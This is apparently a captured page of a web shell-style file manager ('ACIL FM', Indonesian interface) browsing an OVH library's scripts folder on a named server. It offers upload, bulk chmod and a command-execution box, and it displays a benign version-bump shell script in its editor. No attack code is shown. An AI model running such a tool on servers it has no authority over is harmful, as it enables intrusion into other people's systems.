ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/timbrature/NH-HR-test/vendor/ovh/ovh/scripts
/
home
mhhtmff
timbrature
NH-HR-test
vendor
ovh
ovh
scripts
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
bump-version.sh
729 B
chmod
View
DL
Edit
Rename
Delete
release_binary.sh
3.82 MB
chmod
View
DL
Edit
Rename
Delete
update-copyright.sh
493 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/timbrature/NH-HR-test/vendor/ovh/ovh/scripts/bump-version.sh
#!/bin/bash # # Usage: ./scripts/bump-version.sh <new.version.number> # PCRE_MATCH_VERSION="[0-9]+\.[0-9]+\.[0-9]+" PCRE_MATCH_VERSION_BOUNDS="(^|[- v/'\"])${PCRE_MATCH_VERSION}([- /'\"]|$)" VERSION="$1" if ! echo "$VERSION" | grep -Pq "${PCRE_MATCH_VERSION}"; then echo "Usage: ./scripts/bump-version.sh <new.version.number>" echo " <new.version.number> must be a valid 3 digit version number" echo " Make sure to double check 'git diff' before commiting anything you'll regret on master" exit 1 fi # Edit text files matching the PCRE, do *not* patch .git folder grep -PIrl "${PCRE_MATCH_VERSION_BOUNDS}" $(ls) | xargs sed -ir "s/${PCRE_MATCH_VERSION_BOUNDS}/"'\1'"${VERSION}"'\2/g'
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply